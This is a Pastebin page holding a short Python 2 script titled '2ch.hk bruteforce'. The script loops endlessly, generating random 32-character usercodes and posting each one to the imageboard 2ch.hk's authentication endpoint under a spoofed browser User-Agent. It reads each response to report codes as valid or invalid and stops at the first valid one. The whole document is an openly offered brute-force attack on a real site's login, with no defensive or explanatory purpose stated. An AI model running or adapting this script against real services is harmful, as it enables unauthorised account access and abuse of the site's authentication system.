Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- # -*- coding: utf-8 -*-
- ####################################################################################
- # [*] 2ch.hk bruteforce
- # [*] by anonymous
- ####################################################################################
- import urllib, urllib2, os, random, string, re
- ####################################################################################
- while True:
- ####################################################################################
- length = 32
- chars = string.ascii_letters + string.digits
- random.seed(os.urandom(1024))
- usercode = ''.join(random.choice(chars) for i in range(length))
- ####################################################################################
- headers = {'User-Agent':'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)'}
- values = {'task':'auth', 'usercode':usercode}
- data = urllib.urlencode(values)
- request = urllib2.Request('https://2ch.hk/makaba/makaba.fcgi', data, headers)
- response = urllib2.urlopen(request)
- data = response.read()
- ####################################################################################
- result = re.findall('<div class="box-data">', data)
- ####################################################################################
- if result:
- print usercode + ' unvalid'
- else:
- print usercode + ' valid'
- break
- ####################################################################################
Advertisement
Add Comment
Please, Sign In to add comment